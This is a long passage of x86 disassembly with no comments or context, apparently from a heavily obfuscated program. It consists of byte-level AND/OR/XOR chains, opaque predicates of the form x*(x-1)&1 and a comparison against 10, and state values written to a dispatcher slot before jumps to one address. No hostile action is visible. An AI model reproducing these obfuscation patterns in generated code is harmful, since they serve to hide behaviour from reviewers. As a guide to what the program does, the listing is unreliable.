mov byte [ebp - 0x2174], al
mov al, byte [ebp - 0x216d]
mov byte [ebp - 0x2175], cl
mov cl, byte [ebp - 0x2172]
and al, cl
mov cl, byte [ebp - 0x2173]
or cl, dh
mov dh, byte [ebp - 0x2174]
or dh, al
xor cl, dh
mov al, byte [ebp - 0x2170]
mov dh, byte [ebp - 0x2171]
or al, dh
xor al, 0xff
mov dh, byte [ebp - 0x2172]
or dh, 0
and al, dh
or cl, al
mov al, bl
mov dh, byte [ebp - 0x2175]
and al, dh
xor bl, dh
or al, bl
mov bl, cl
xor bl, 0xff
and bl, 0
mov dh, dl
xor dh, 0
and cl, dh
mov byte [ebp - 0x2176], al
xor al, 0xff
and al, 0
mov byte [ebp - 0x2177], al
mov al, byte [ebp - 0x2176]
and al, dh
or bl, cl
mov cl, byte [ebp - 0x2177]
or cl, al
xor bl, cl
mov al, byte [ebp - 0x2165]
mov cl, byte [ebp - 0x216c]
and al, cl
mov dh, byte [ebp - 0x2165]
xor dh, cl
or al, dh
mov dh, al
xor dh, 0xff
and dh, 1
mov cl, dl
xor cl, 1
and al, cl
or dh, al
mov al, dl
xor al, 0
mov cl, byte [ebp - 0x2168]
xor cl, 0xff
mov byte [ebp - 0x2178], al
mov al, dl
xor al, 1
mov byte [ebp - 0x2179], al
mov al, byte [ebp - 0x2178]
and al, 0xff
mov byte [ebp - 0x217a], al
mov al, byte [ebp - 0x2179]
and al, 0
mov byte [ebp - 0x217b], al
mov al, cl
and al, 0xff
mov byte [ebp - 0x217c], al
mov al, byte [ebp - 0x2168]
mov byte [ebp - 0x217d], cl
mov cl, byte [ebp - 0x2179]
and al, cl
mov cl, byte [ebp - 0x217a]
mov byte [ebp - 0x217e], al
mov al, byte [ebp - 0x217b]
or cl, al
mov al, byte [ebp - 0x217c]
mov byte [ebp - 0x217f], cl
mov cl, byte [ebp - 0x217e]
or al, cl
mov cl, byte [ebp - 0x217f]
xor cl, al
mov al, byte [ebp - 0x2178]
mov byte [ebp - 0x2180], cl
mov cl, byte [ebp - 0x217d]
or al, cl
xor al, 0xff
mov cl, byte [ebp - 0x2179]
or cl, 1
and al, cl
mov cl, byte [ebp - 0x2180]
or cl, al
xor cl, 0xff
mov al, dh
xor al, cl
and al, dh
mov cl, bl
xor cl, 0xff
mov dh, al
xor dh, 0xff
mov byte [ebp - 0x2181], al
mov al, dl
xor al, 0
mov byte [ebp - 0x2182], al
mov al, cl
and al, 0
mov byte [ebp - 0x2183], al
mov al, byte [ebp - 0x2182]
and bl, al
mov al, dh
and al, 0
mov byte [ebp - 0x2184], al
mov al, byte [ebp - 0x2181]
mov byte [ebp - 0x2185], cl
mov cl, byte [ebp - 0x2182]
and al, cl
mov cl, byte [ebp - 0x2183]
or cl, bl
mov bl, byte [ebp - 0x2184]
or bl, al
xor cl, bl
mov al, byte [ebp - 0x2185]
or al, dh
xor al, 0xff
mov dh, byte [ebp - 0x2182]
or dh, 0
and al, dh
or cl, al
mov al, byte [ebp - 0x2164]
xor al, 0xff
and al, 1
mov dh, dl
xor dh, 1
mov bl, byte [ebp - 0x2164]
and bl, dh
or al, bl
mov dh, dl
xor dh, 0
xor al, 0xff
mov bl, dl
xor bl, 1
or dh, al
or bl, 1
xor dh, 0xff
and dh, bl
mov al, dl
xor al, 0
and al, 1
mov bl, dl
xor bl, 1
and bl, 0
or al, bl
mov bl, byte [ebp - 0x2164]
xor bl, 0xff
mov byte [ebp - 0x2186], al
xor al, 0xff
mov byte [ebp - 0x2187], al
mov al, dl
xor al, 0
mov byte [ebp - 0x2188], al
mov al, byte [ebp - 0x2187]
or bl, al
mov al, byte [ebp - 0x2188]
or al, 0
xor bl, 0xff
and bl, al
mov al, cl
xor al, 0xff
and al, 0
mov byte [ebp - 0x2189], al
mov al, dl
xor al, 0
mov byte [ebp - 0x218a], al
mov al, cl
mov byte [ebp - 0x218b], cl
mov cl, byte [ebp - 0x218a]
and al, cl
mov cl, dl
xor cl, 1
and cl, 0
mov byte [ebp - 0x218c], al
mov al, byte [ebp - 0x218a]
and al, 1
mov byte [ebp - 0x218d], al
mov al, byte [ebp - 0x2189]
mov byte [ebp - 0x218e], cl
mov cl, byte [ebp - 0x218c]
or al, cl
mov cl, byte [ebp - 0x218e]
mov byte [ebp - 0x218f], al
mov al, byte [ebp - 0x218d]
or cl, al
mov al, byte [ebp - 0x218f]
xor al, cl
xor al, 0xff
mov cl, dl
xor cl, 0
mov byte [ebp - 0x2190], al
mov al, dl
xor al, 0
mov byte [ebp - 0x2191], al
mov al, byte [ebp - 0x2190]
or al, cl
mov cl, byte [ebp - 0x2191]
or cl, 0
xor al, 0xff
and al, cl
mov cl, byte [ebp - 0x2186]
xor cl, 0xff
mov byte [ebp - 0x2192], al
mov al, byte [ebp - 0x218b]
xor al, cl
mov cl, byte [ebp - 0x218b]
and al, cl
mov cl, dh
and cl, bl
xor dh, bl
or cl, dh
mov dh, byte [ebp - 0x2192]
and dh, al
mov bl, byte [ebp - 0x2192]
xor bl, al
or dh, bl
mov al, cl
xor al, 0xff
mov bl, dh
and bl, al
xor dh, 0xff
and cl, dh
or bl, cl
mov al, ah
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov dh, ah
and dh, cl
mov byte [ebp - 0x2193], al
mov al, dl
xor al, 1
and al, 0xff
and cl, 1
mov byte [ebp - 0x2194], al
mov al, byte [ebp - 0x2193]
or al, dh
mov dh, byte [ebp - 0x2194]
or dh, cl
xor al, dh
mov cl, bh
xor cl, 0xff
and cl, 1
mov dh, dl
xor dh, 1
mov byte [ebp - 0x2195], al
mov al, bh
and al, dh
or cl, al
mov al, dl
xor al, 1
and al, 0
mov dh, dl
xor dh, 0
mov byte [ebp - 0x2196], al
mov al, dh
and al, 1
mov byte [ebp - 0x2197], al
mov al, dl
xor al, 1
and al, 0
and dh, 1
mov byte [ebp - 0x2198], al
mov al, byte [ebp - 0x2196]
mov byte [ebp - 0x2199], cl
mov cl, byte [ebp - 0x2197]
or al, cl
mov cl, byte [ebp - 0x2198]
or cl, dh
xor al, cl
mov cl, byte [ebp - 0x2195]
xor cl, 0xff
mov dh, dl
xor dh, 1
mov byte [ebp - 0x219a], al
mov al, dl
xor al, 0
or cl, dh
or al, 0
xor cl, 0xff
and cl, al
mov al, byte [ebp - 0x219a]
xor al, 0xff
mov dh, ah
xor dh, al
and dh, ah
mov al, dl
xor al, 1
mov ah, byte [ebp - 0x2199]
xor ah, al
mov al, byte [ebp - 0x2199]
and ah, al
mov al, byte [ebp - 0x219a]
xor al, 0xff
mov byte [ebp - 0x219b], al
mov al, bh
mov byte [ebp - 0x219c], cl
mov cl, byte [ebp - 0x219b]
xor al, cl
and al, bh
mov cl, byte [ebp - 0x219c]
xor cl, 0xff
mov bh, dh
xor bh, 0xff
mov byte [ebp - 0x219d], al
mov al, dl
xor al, 0
mov byte [ebp - 0x219e], al
mov al, cl
and al, 0
mov byte [ebp - 0x219f], al
mov al, byte [ebp - 0x219c]
mov byte [ebp - 0x21a0], cl
mov cl, byte [ebp - 0x219e]
and al, cl
mov cl, bh
and cl, 0
mov byte [ebp - 0x21a1], al
mov al, byte [ebp - 0x219e]
and dh, al
mov al, byte [ebp - 0x219f]
mov byte [ebp - 0x21a2], cl
mov cl, byte [ebp - 0x21a1]
or al, cl
mov cl, byte [ebp - 0x21a2]
or cl, dh
xor al, cl
mov cl, byte [ebp - 0x21a0]
or cl, bh
xor cl, 0xff
mov dh, byte [ebp - 0x219e]
or dh, 0
and cl, dh
or al, cl
mov cl, ah
xor cl, 0xff
mov dh, byte [ebp - 0x219d]
xor dh, 0xff
mov bh, dl
xor bh, 0
mov byte [ebp - 0x21a3], al
mov al, cl
and al, 0
and ah, bh
mov byte [ebp - 0x21a4], al
mov al, dh
and al, 0
mov byte [ebp - 0x21a5], al
mov al, byte [ebp - 0x219d]
and al, bh
mov byte [ebp - 0x21a6], al
mov al, byte [ebp - 0x21a4]
or al, ah
mov ah, byte [ebp - 0x21a5]
mov byte [ebp - 0x21a7], al
mov al, byte [ebp - 0x21a6]
or ah, al
mov al, byte [ebp - 0x21a7]
xor al, ah
or cl, dh
xor cl, 0xff
or bh, 0
and cl, bh
or al, cl
mov cl, byte [ebp - 0x21a3]
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
mov dh, byte [ebp - 0x21a3]
and dh, ah
mov bh, al
xor bh, 0xff
and bh, 0xff
and al, ah
or cl, dh
or bh, al
xor cl, bh
mov al, byte [ebp - 0x2195]
mov ah, byte [ebp - 0x2199]
and al, ah
mov dh, byte [ebp - 0x2195]
xor dh, ah
or al, dh
mov dh, al
xor dh, 0xff
and dh, 0
mov bh, dl
xor bh, 0
and al, bh
mov ah, dl
xor ah, 1
and ah, 0
and bh, 1
or dh, al
or ah, bh
xor dh, ah
mov al, byte [ebp - 0x219a]
and al, 1
mov ah, byte [ebp - 0x219a]
xor ah, 1
or al, ah
xor al, 0xff
mov ah, dh
xor ah, al
and ah, dh
mov al, cl
and al, ah
xor cl, ah
or al, cl
mov cl, al
xor cl, 0xff
and cl, 0
mov ah, dl
xor ah, 0
mov dh, al
and dh, ah
mov bh, dl
xor bh, 1
and bh, 0
and ah, 1
or cl, dh
or bh, ah
xor cl, bh
mov ah, dl
xor ah, 1
xor cl, 0xff
mov dh, dl
xor dh, 1
or ah, cl
or dh, 1
xor ah, 0xff
and ah, dh
mov cl, dl
xor cl, 1
and cl, 1
mov dh, dl
xor dh, 1
and dh, 1
or cl, dh
mov dh, cl
xor dh, 0xff
mov bh, al
xor bh, dh
and bh, al
mov al, dl
xor al, 1
and al, 1
mov dh, dl
xor dh, 1
and dh, 1
or al, dh
mov dh, dl
xor dh, 1
mov byte [ebp - 0x21a8], al
xor al, dh
mov dh, byte [ebp - 0x21a8]
and al, dh
xor cl, 0xff
xor cl, 1
and cl, 0xff
mov dh, ah
and dh, bh
xor ah, bh
or dh, ah
mov ah, al
xor ah, 0xff
mov bh, cl
xor bh, 0xff
mov byte [ebp - 0x21a9], al
mov al, dl
xor al, 1
mov byte [ebp - 0x21aa], al
mov al, ah
and al, 0xff
mov byte [ebp - 0x21ab], al
mov al, byte [ebp - 0x21a9]
mov byte [ebp - 0x21ac], cl
mov cl, byte [ebp - 0x21aa]
and al, cl
mov cl, bh
and cl, 0xff
mov byte [ebp - 0x21ad], al
mov al, byte [ebp - 0x21ac]
mov byte [ebp - 0x21ae], cl
mov cl, byte [ebp - 0x21aa]
and al, cl
mov cl, byte [ebp - 0x21ab]
mov byte [ebp - 0x21af], al
mov al, byte [ebp - 0x21ad]
or cl, al
mov al, byte [ebp - 0x21ae]
mov byte [ebp - 0x21b0], cl
mov cl, byte [ebp - 0x21af]
or al, cl
mov cl, byte [ebp - 0x21b0]
xor cl, al
or ah, bh
xor ah, 0xff
mov al, byte [ebp - 0x21aa]
or al, 1
and ah, al
or cl, ah
mov al, dh
xor al, 0xff
and al, 1
mov ah, dl
xor ah, 1
and dh, ah
mov bh, cl
xor bh, 0xff
and bh, 0xff
and cl, ah
or al, dh
or bh, cl
xor al, bh
mov cl, dl
xor cl, 0
mov ah, ch
xor ah, 0xff
mov dh, dl
xor dh, 1
or cl, ah
or dh, 1
xor cl, 0xff
and cl, dh
mov ah, dl
xor ah, 0
and ah, 0
mov dh, dl
xor dh, 0
mov bh, dh
and bh, 0
mov byte [ebp - 0x21b1], al
mov al, ch
xor al, 0xff
and al, 0
and ch, dh
or ah, bh
or al, ch
xor ah, al
mov al, cl
and al, ah
xor cl, ah
or al, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
and al, ah
or cl, al
mov al, byte [ebp - 0x21b1]
xor al, 0xff
mov ah, cl
and ah, al
xor cl, 0xff
mov al, byte [ebp - 0x21b1]
and al, cl
or ah, al
mov al, byte [ebp - 0x21b1]
xor al, 0xff
mov cl, ah
xor cl, al
and cl, ah
mov al, bl
xor al, 0xff
mov ah, cl
xor ah, 0xff
xor dl, 0
or al, ah
or dl, 0
xor al, 0xff
and al, dl
mov dl, bl
xor dl, 0xff
mov ah, cl
and ah, dl
xor cl, 0xff
and bl, cl
or ah, bl
mov cl, al
and cl, ah
xor al, ah
or cl, al
test cl, 1
mov esi, dword [ebp - 0x20dc]
mov edi, dword [ebp - 0x20ec]
cmovne esi, edi
mov dword [ebp - 0xa8], esi
jmp 0x45c869
mov dword [ebp - 0xa8], 0x92063607
jmp 0x45c869
mov eax, 0xcdf3e446
mov ecx, 0xf7e9bac0
mov dl, 1
mov esi, 0x9f17cea7
xor edi, edi
mov ebx, dword [0x4ac09c]
mov dword [ebp - 0x21e4], eax
mov eax, dword [0x4ac084]
mov dword [ebp - 0x21e8], eax
mov eax, edi
sub eax, 0xf9a0439a
add eax, 0
sub eax, 0xc7fbf2c4
sub eax, 1
add eax, 0xc7fbf2c4
sub edi, 0xf9a0439a
sub eax, edi
add esi, 0
sub esi, eax
sub esi, 0x9f17cea7
mov eax, ebx
add eax, 0xa0fbcedb
sub eax, esi
sub eax, 0xa0fbcedb
imul ebx, eax
and ebx, 1
cmp ebx, 0
sete dh
mov eax, dword [ebp - 0x21e8]
cmp eax, 0xa
setl al
mov ah, al
xor ah, 0xff
and ah, 1
mov bl, dl
xor bl, 1
mov bh, al
and bh, bl
mov byte [ebp - 0x21e9], al
mov al, dl
xor al, 1
and al, 0xff
and bl, 1
or ah, bh
or al, bl
xor ah, al
mov al, dh
xor al, 0xff
and al, 0
mov bl, dl
xor bl, 0
mov bh, dh
and bh, bl
mov byte [ebp - 0x21ea], al
mov al, ah
xor al, 0xff
and al, 0
and ah, bl
mov bl, byte [ebp - 0x21ea]
or bl, bh
or al, ah
xor bl, al
mov al, dh
xor al, 0xff
mov ah, bl
xor ah, al
and ah, bl
mov al, dh
xor al, 0xff
and al, 1
mov bl, dl
xor bl, 1
mov bh, dh
and bh, bl
or al, bh
xor al, 0xff
xor al, 1
and al, 0xff
mov bl, dl
xor bl, 1
and bl, 1
mov bh, dl
xor bh, 1
and bh, 1
or bl, bh
mov bh, bl
xor bh, 0xff
mov byte [ebp - 0x21eb], al
mov al, dh
xor al, bh
and al, dh
mov dh, byte [ebp - 0x21e9]
xor dh, 0xff
and dh, 1
mov bh, dl
xor bh, 1
mov byte [ebp - 0x21ec], al
mov al, byte [ebp - 0x21e9]
and al, bh
or dh, al
mov al, dl
xor al, 1
mov bh, dh
xor bh, al
and bh, dh
mov al, byte [ebp - 0x21e9]
xor al, 0xff
xor bl, 0xff
mov dh, dl
xor dh, 0
or al, bl
or dh, 0
xor al, 0xff
and al, dh
mov dh, byte [ebp - 0x21eb]
xor dh, 0xff
mov bl, byte [ebp - 0x21ec]
xor bl, 0xff
mov byte [ebp - 0x21ed], al
mov al, dl
xor al, 0
mov byte [ebp - 0x21ee], al
mov al, dh
and al, 0
mov byte [ebp - 0x21ef], al
mov al, byte [ebp - 0x21eb]
mov dword [ebp - 0x21f4], ecx
mov cl, byte [ebp - 0x21ee]
and al, cl
mov ch, bl
and ch, 0
mov cl, byte [ebp - 0x21ec]
mov byte [ebp - 0x21f5], al
mov al, byte [ebp - 0x21ee]
and cl, al
mov al, byte [ebp - 0x21ef]
mov byte [ebp - 0x21f6], cl
mov cl, byte [ebp - 0x21f5]
or al, cl
mov cl, byte [ebp - 0x21f6]
or ch, cl
xor al, ch
or dh, bl
xor dh, 0xff
mov cl, byte [ebp - 0x21ee]
or cl, 0
and dh, cl
or al, dh
mov cl, bh
xor cl, 0xff
mov ch, byte [ebp - 0x21ed]
xor ch, 0xff
mov dh, dl
xor dh, 1
mov bl, cl
and bl, 0xff
and bh, dh
mov byte [ebp - 0x21f7], al
mov al, ch
and al, 0xff
mov byte [ebp - 0x21f8], al
mov al, byte [ebp - 0x21ed]
and al, dh
or bl, bh
mov bh, byte [ebp - 0x21f8]
or bh, al
xor bl, bh
or cl, ch
xor cl, 0xff
or dh, 1
and cl, dh
or bl, cl
mov al, byte [ebp - 0x21f7]
xor al, 0xff
and al, 0
mov cl, dl
xor cl, 0
mov ch, byte [ebp - 0x21f7]
and ch, cl
mov dh, bl
xor dh, 0xff
and dh, 0
and bl, cl
or al, ch
or dh, bl
xor al, dh
mov cl, ah
xor cl, 0xff
and cl, 0
mov ch, dl
xor ch, 0
mov dh, ah
and dh, ch
mov bl, dl
xor bl, 1
and bl, 0
and ch, 1
or cl, dh
or bl, ch
xor cl, bl
mov ch, al
xor ch, 0xff
and ch, 1
mov dh, dl
xor dh, 1
mov bl, al
and bl, dh
or ch, bl
mov dh, dl
xor dh, 0
and dh, 1
mov bl, dl
xor bl, 1
and bl, 0
or dh, bl
mov bl, dl
xor bl, 0
mov bh, cl
xor bh, bl
and bh, cl
mov bl, dh
xor bl, 0xff
mov byte [ebp - 0x21f9], al
mov al, ah
xor al, bl
and al, ah
mov ah, dl
xor ah, 0
mov bl, ch
xor bl, ah
and bl, ch
mov ah, dh
xor ah, 0xff
mov byte [ebp - 0x21fa], al
mov al, byte [ebp - 0x21f9]
xor al, ah
mov ah, byte [ebp - 0x21f9]
and al, ah
mov ah, bh
mov byte [ebp - 0x21fb], al
mov al, byte [ebp - 0x21fa]
and ah, al
xor bh, al
or ah, bh
mov bh, bl
xor bh, 0xff
mov al, byte [ebp - 0x21fb]
xor al, 0xff
mov byte [ebp - 0x21fc], al
mov al, dl
xor al, 0
mov byte [ebp - 0x21fd], al
mov al, bh
and al, 0
mov byte [ebp - 0x21fe], al
mov al, byte [ebp - 0x21fd]
and bl, al
mov al, byte [ebp - 0x21fc]
and al, 0
mov byte [ebp - 0x21ff], al
mov al, byte [ebp - 0x21fb]
mov byte [ebp - 0x2200], cl
mov cl, byte [ebp - 0x21fd]
and al, cl
mov cl, byte [ebp - 0x21fe]
or cl, bl
mov bl, byte [ebp - 0x21ff]
or bl, al
xor cl, bl
mov al, byte [ebp - 0x21fc]
or bh, al
xor bh, 0xff
mov bl, byte [ebp - 0x21fd]
or bl, 0
and bh, bl
or cl, bh
mov bl, ah
xor bl, 0xff
and bl, 1
mov bh, dl
xor bh, 1
and ah, bh
mov al, cl
xor al, 0xff
and al, 0xff
and cl, bh
or bl, ah
or al, cl
xor bl, al
mov al, byte [ebp - 0x2200]
and al, ch
mov cl, byte [ebp - 0x2200]
xor cl, ch
or al, cl
mov cl, al
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
and al, ah
or cl, al
mov al, dl
xor al, 0
mov ah, dh
xor ah, 0xff
mov ch, dl
xor ch, 0
mov bh, al
and bh, 0
mov byte [ebp - 0x2201], al
mov al, ch
and al, 0
mov byte [ebp - 0x2202], al
mov al, ah
and al, 0
and dh, ch
mov byte [ebp - 0x2203], al
mov al, byte [ebp - 0x2202]
or bh, al
mov al, byte [ebp - 0x2203]
or al, dh
xor bh, al
mov al, byte [ebp - 0x2201]
or al, ah
xor al, 0xff
or ch, 0
and al, ch
or bh, al
xor cl, 0xff
xor bh, 0xff
mov al, dl
xor al, 0
or cl, bh
or al, 0
xor cl, 0xff
and cl, al
mov al, bl
xor al, 0xff
mov ah, cl
xor ah, 0xff
xor dl, 0
mov ch, al
and ch, 0
and bl, dl
mov dh, ah
and dh, 0
and cl, dl
or ch, bl
or dh, cl
xor ch, dh
or al, ah
xor al, 0xff
or dl, 0
and al, dl
or ch, al
test ch, 1
mov esi, dword [ebp - 0x21e4]
mov edi, dword [ebp - 0x21f4]
cmovne esi, edi
mov dword [ebp - 0xa8], esi
jmp 0x45c869
mov eax, 0x102e1fed
mov ecx, 0x48203734
mov dl, 1
xor esi, esi
mov edi, 0x754be218
mov ebx, dword [0x4ac09c]
mov dword [ebp - 0x2b60], eax
mov eax, dword [0x4ac084]
add edi, 0
sub edi, 0x77c4f4bb
sub edi, 0x754be218
mov dword [ebp - 0x2b64], eax
mov eax, esi
sub eax, edi
mov edi, ebx
add edi, eax
mov eax, esi
sub eax, 0x298147de
sub edi, eax
mov eax, esi
sub eax, 1
add edi, eax
add edi, 0x82686ad7
sub edi, 0x298147de
sub edi, 0x82686ad7
sub edi, 0xf9a4a1cf
sub edi, 0xa4bf1adf
add edi, 0xf9a4a1cf
mov eax, esi
sub eax, 0x77c4f4bb
add edi, eax
sub esi, 0xa4bf1adf
sub edi, esi
imul ebx, edi
and ebx, 1
cmp ebx, 0
sete dh
mov eax, dword [ebp - 0x2b64]
cmp eax, 0xa
setl al
mov ah, dh
xor ah, 0xff
and ah, 1
mov bl, dl
xor bl, 1
mov bh, dh
and bh, bl
or ah, bh
xor ah, 0xff
xor ah, 1
and ah, 0xff
mov bl, dl
xor bl, 1
and bl, 1
mov bh, dl
xor bh, 1
and bh, 1
or bl, bh
xor bl, 0xff
mov bh, dh
xor bh, bl
and bh, dh
mov bl, ah
xor bl, 0xff
mov byte [ebp - 0x2b65], al
mov al, bh
xor al, 0xff
mov byte [ebp - 0x2b66], al
mov al, dl
xor al, 0
mov byte [ebp - 0x2b67], al
mov al, bl
and al, 0
mov byte [ebp - 0x2b68], al
mov al, byte [ebp - 0x2b67]
and ah, al
mov al, byte [ebp - 0x2b66]
and al, 0
mov byte [ebp - 0x2b69], al
mov al, byte [ebp - 0x2b67]
and bh, al
mov al, byte [ebp - 0x2b68]
or al, ah
mov ah, byte [ebp - 0x2b69]
or ah, bh
xor al, ah
mov ah, byte [ebp - 0x2b66]
or bl, ah
xor bl, 0xff
mov bh, byte [ebp - 0x2b67]
or bh, 0
and bl, bh
or al, bl
mov bl, byte [ebp - 0x2b65]
xor bl, 0xff
and bl, 1
mov bh, dl
xor bh, 1
mov ah, byte [ebp - 0x2b65]
and ah, bh
or bl, ah
xor bl, 0xff
xor bl, 1
and bl, 0xff
mov ah, dl
xor ah, 1
and ah, 1
mov bh, dl
xor bh, 1
mov byte [ebp - 0x2b6a], al
mov al, bh
and al, 1
mov byte [ebp - 0x2b6b], al
mov al, dl
xor al, 1
and al, 0xff
and bh, 1
mov byte [ebp - 0x2b6c], al
mov al, byte [ebp - 0x2b6b]
or ah, al
mov al, byte [ebp - 0x2b6c]
or al, bh
xor ah, al
mov al, byte [ebp - 0x2b65]
xor al, 0xff
xor ah, 0xff
mov bh, dl
xor bh, 0
or al, ah
or bh, 0
xor al, 0xff
and al, bh
mov ah, bl
xor ah, 0xff
mov bh, al
xor bh, 0xff
mov byte [ebp - 0x2b6d], al
mov al, dl
xor al, 0
mov byte [ebp - 0x2b6e], al
mov al, ah
and al, 0
mov byte [ebp - 0x2b6f], al
mov al, byte [ebp - 0x2b6e]
and bl, al
mov al, bh
and al, 0
mov byte [ebp - 0x2b70], al
mov al, byte [ebp - 0x2b6d]
mov dword [ebp - 0x2b74], ecx
mov cl, byte [ebp - 0x2b6e]
and al, cl
mov ch, byte [ebp - 0x2b6f]
or ch, bl
mov bl, byte [ebp - 0x2b70]
or bl, al
xor ch, bl
or ah, bh
xor ah, 0xff
or cl, 0
and ah, cl
or ch, ah
mov al, dl
xor al, 0
and al, 1
mov cl, dl
xor cl, 1
mov ah, cl
and ah, 0
mov bl, dl
xor bl, 1
and bl, 0xff
and cl, 1
or al, ah
or bl, cl
xor al, bl
xor al, 0xff
xor al, 1
and al, 0xff
mov cl, dl
xor cl, 1
and cl, 1
mov ah, dl
xor ah, 1
and ah, 1
or cl, ah
xor cl, 0xff
xor cl, 0
and cl, 0
mov ah, al
xor ah, 0xff
mov bl, cl
xor bl, 0xff
mov bh, dl
xor bh, 0
mov byte [ebp - 0x2b75], al
mov al, ah
and al, 0
mov byte [ebp - 0x2b76], al
mov al, byte [ebp - 0x2b75]
and al, bh
mov byte [ebp - 0x2b77], al
mov al, bl
and al, 0
and cl, bh
mov byte [ebp - 0x2b78], al
mov al, byte [ebp - 0x2b76]
mov byte [ebp - 0x2b79], cl
mov cl, byte [ebp - 0x2b77]
or al, cl
mov cl, byte [ebp - 0x2b78]
mov byte [ebp - 0x2b7a], al
mov al, byte [ebp - 0x2b79]
or cl, al
mov al, byte [ebp - 0x2b7a]
xor al, cl
or ah, bl
xor ah, 0xff
or bh, 0
and ah, bh
or al, ah
mov cl, byte [ebp - 0x2b6a]
xor cl, 0xff
and cl, 0
mov ah, dl
xor ah, 0
mov bl, byte [ebp - 0x2b6a]
and bl, ah
mov bh, dl
xor bh, 1
and bh, 0
and ah, 1
or cl, bl
or bh, ah
xor cl, bh
mov ah, dl
xor ah, 0
and ah, 0
mov bl, dl
xor bl, 0
mov bh, bl
and bh, 0
mov byte [ebp - 0x2b7b], al
mov al, dl
xor al, 1
and al, 0
and bl, 1
or ah, bh
or al, bl
xor ah, al
mov al, dl
xor al, 0
and al, 0
mov bl, dl
xor bl, 0
mov bh, bl
and bh, 0
mov byte [ebp - 0x2b7c], al
mov al, dl
xor al, 1
and al, 0
and bl, 1
mov byte [ebp - 0x2b7d], al
mov al, byte [ebp - 0x2b7c]
or al, bh
mov bh, byte [ebp - 0x2b7d]
or bh, bl
xor al, bh
mov bl, cl
xor bl, 0xff
mov bh, ah
xor bh, 0xff
mov byte [ebp - 0x2b7e], al
mov al, dl
xor al, 0
mov byte [ebp - 0x2b7f], al
mov al, bl
and al, 0
mov byte [ebp - 0x2b80], al
mov al, byte [ebp - 0x2b7f]
and cl, al
mov al, bh
and al, 0
mov byte [ebp - 0x2b81], al
mov al, byte [ebp - 0x2b7f]
and ah, al
mov al, byte [ebp - 0x2b80]
or al, cl
mov cl, byte [ebp - 0x2b81]
or cl, ah
xor al, cl
or bl, bh
xor bl, 0xff
mov cl, byte [ebp - 0x2b7f]
or cl, 0
and bl, cl
or al, bl
mov cl, byte [ebp - 0x2b7e]
and cl, 0
mov ah, byte [ebp - 0x2b7e]
xor ah, 0
or cl, ah
mov ah, al
xor ah, 0xff
and ah, 0
mov bl, dl
xor bl, 0
and al, bl
mov bh, dl
xor bh, 1
and bh, 0
and bl, 1
or ah, al
or bh, bl
xor ah, bh
xor cl, 0xff
mov al, ah
xor al, cl
and al, ah
mov cl, dh
xor cl, 0xff
and cl, 0
mov ah, dl
xor ah, 0
and dh, ah
mov bl, dl
xor bl, 1
and bl, 0
and ah, 1
or cl, dh
or bl, ah
xor cl, bl
mov ah, byte [ebp - 0x2b7b]
xor ah, 0xff
and ah, 0
mov dh, dl
xor dh, 0
mov bl, byte [ebp - 0x2b7b]
and bl, dh
mov bh, dl
xor bh, 1
and bh, 0
and dh, 1
or ah, bl
or bh, dh
xor ah, bh
mov dh, dl
xor dh, 1
and dh, 0
mov bl, dl
xor bl, 0
mov bh, bl
and bh, 1
mov byte [ebp - 0x2b82], al
mov al, dl
xor al, 1
and al, 0
and bl, 1
or dh, bh
or al, bl
xor dh, al
mov al, cl
xor al, 0xff
mov bl, ah
xor bl, 0xff
mov bh, dl
xor bh, 0
mov byte [ebp - 0x2b83], al
and al, 0
and cl, bh
mov byte [ebp - 0x2b84], al
mov al, bl
and al, 0
and ah, bh
mov byte [ebp - 0x2b85], al
mov al, byte [ebp - 0x2b84]
or al, cl
mov cl, byte [ebp - 0x2b85]
or cl, ah
xor al, cl
mov cl, byte [ebp - 0x2b83]
or cl, bl
xor cl, 0xff
or bh, 0
and cl, bh
or al, cl
mov cl, dl
xor cl, 1
mov ah, dh
xor ah, 0xff
mov bl, dl
xor bl, 0
mov bh, cl
and bh, 0
mov byte [ebp - 0x2b86], al
mov al, bl
and al, 1
mov byte [ebp - 0x2b87], al
mov al, ah
and al, 0
and dh, bl
mov byte [ebp - 0x2b88], al
mov al, byte [ebp - 0x2b87]
or bh, al
mov al, byte [ebp - 0x2b88]
or al, dh
xor bh, al
or cl, ah
xor cl, 0xff
or bl, 0
and cl, bl
or bh, cl
mov al, byte [ebp - 0x2b86]
xor al, 0xff
and al, 1
mov cl, dl
xor cl, 1
mov ah, byte [ebp - 0x2b86]
and ah, cl
or al, ah
xor al, 0xff
xor bh, 0xff
mov cl, dl
xor cl, 1
or al, bh
or cl, 1
xor al, 0xff
and al, cl
mov cl, dl
xor cl, 0
and cl, 1
mov ah, dl
xor ah, 1
and ah, 0
or cl, ah
mov ah, ch
xor ah, 0xff
and ah, 1
mov dh, dl
xor dh, 1
mov bl, ch
and bl, dh
mov bh, cl
xor bh, 0xff
and bh, 0xff
and cl, dh
or ah, bl
or bh, cl
xor ah, bh
mov cl, ch
xor cl, 0xff
mov dh, ah
xor dh, cl
and dh, ah
mov cl, byte [ebp - 0x2b65]
xor cl, 0xff
and cl, 1
mov ah, dl
xor ah, 1
mov bl, byte [ebp - 0x2b65]
and bl, ah
mov bh, dl
xor bh, 1
and bh, 0xff
and ah, 1
or cl, bl
or bh, ah
xor cl, bh
mov ah, byte [ebp - 0x2b7b]
xor ah, 0xff
and ah, 1
mov bl, dl
xor bl, 1
mov bh, byte [ebp - 0x2b7b]
and bh, bl
or ah, bh
mov bl, dl
xor bl, 0
and bl, 0
mov bh, dl
xor bh, 0
mov byte [ebp - 0x2b89], al
mov al, bh
and al, 0
mov byte [ebp - 0x2b8a], al
mov al, dl
xor al, 1
and al, 0
and bh, 1
mov byte [ebp - 0x2b8b], al
mov al, byte [ebp - 0x2b8a]
or bl, al
mov al, byte [ebp - 0x2b8b]
or al, bh
xor bl, al
mov al, cl
xor al, 0xff
mov bh, ah
xor bh, 0xff
mov byte [ebp - 0x2b8c], al
mov al, dl
xor al, 0
mov byte [ebp - 0x2b8d], al
mov al, byte [ebp - 0x2b8c]
and al, 0
mov byte [ebp - 0x2b8e], al
mov al, byte [ebp - 0x2b8d]
and cl, al
mov al, bh
and al, 0
mov byte [ebp - 0x2b8f], al
mov al, byte [ebp - 0x2b8d]
and ah, al
mov al, byte [ebp - 0x2b8e]
or al, cl
mov cl, byte [ebp - 0x2b8f]
or cl, ah
xor al, cl
mov cl, byte [ebp - 0x2b8c]
or cl, bh
